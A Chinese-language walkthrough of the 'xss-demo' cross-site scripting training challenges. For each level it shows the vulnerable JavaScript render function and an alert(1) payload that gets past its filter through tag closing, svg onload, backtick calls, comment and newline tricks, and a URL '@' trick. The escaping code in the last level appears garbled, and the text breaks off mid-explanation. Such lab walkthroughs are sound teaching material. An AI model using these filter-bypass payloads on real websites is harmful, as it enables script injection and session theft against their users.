项目:https://github.com/haozi/xss-demo
地址:https://xss.haozi.me
## 0x00
function render (input) {
return '<div>' + input + '</div>'
}
没有丝毫的过滤,且在<div>标签中很简单直接写payload
<script>alert(1)</script>
## 0x01
function render (input) {
return '<textarea>' + input + '</textarea>'
}
<textarea>标签是文本框 它无法执行,但是可以闭合<textarea>来执行,
XSS位置在html 标签属性中 可以先判断闭合条件 '和" 利用伪协议写js
如果是>< 标签内 可以直接写html 标签 值得注意的是有些标签自带htmlEncode功能
例 <textarea></textarea>
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>
<math></math>
这些标签需要先闭合不然标签输出的都是文本,所以这里把前面的闭合即可
</textarea><script>alert(1)</script>
## 0x02
function render (input) {
return '<input type="name" value="' + input + '">'
}
简单的dom型xss,闭合前面的双引号后面的句子随便构造,只要能执行.
"><script>alert(1)</script>
或通过闭合前面的尖括号,利用svg构造新语句
"><svg/onload=alert(1)>
## 0x03
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
过滤了圆括号(),但是我们仍然可以使用反引号执行.
<script>alert`1`</script>
## 0x04
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
过滤了圆括号() 反引号 `
用<svg>标签中可以直接执行实体字符。
查询html转义字符请移步 html字符实体化
<svg><script>alert(1)</script>
## 0x05
function render (input) {
input = input.replace(/-->/g, 'emoji笑脸')
return '<!-- ' + input + ' -->'
}
这里注释可以用!--> 闭合
--!><script>alert(1)</script>
## 0x06
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
过滤以auto开头或者on开头,=等号结尾的标签属性并替换成下划线_ , 且忽略大小写,虽然看起来好像无解了。但是这里我们可以通过换行来绕过正则的检查,看源码写的type=“text”
是文本格式无法执行,我们用type=“image”绕过
type="image" src="xxx" onerror
="alert(1)"
或者使用onmousemove 事件属性绕过
onmousemove
=alert(1)
##0x07
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
\w+:多个 英文字母或数字或下划线组成的
\/?: 0个或1个/
g: 全局匹配
i: 不区分大小写
这里过滤了<多个字母或数字> 也就是说 <a>, </a> <111> 全部替换成空,可以用低优先级来解决去掉末尾的>
<body onload="alert(1)"
##0x08
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
代码中将</style>标签替换成/ u574Fu4EBA /,且忽略大小写;正则的目的在于防止我们闭合<style>标签,但是这里我们依然可以通过换行绕过正则进行闭合。
</style ><script>alert(1)</script>
##0x09
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
代码要求我们以https://www.segmentfault.com开头,输入点是在<>标签中,我们可以用</script>闭合前面 在后面加注释绕过
https://www.segmentfault.com"></script><script>alert(1)</script>//
##0x0A
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
代码中replace将& ' " < > / 进行了转义,且输出点在<src>属性中,这里可以使用@
来执行我们自己的js.
假设我们访问http://www.baidu.com@1.2.3.4 ,实际是http://1.2.3.4 但是url中的特殊符号会被过滤,因为你html特殊属性,过滤后的html实体编码在html标签属性值中无影响,可以直接解析。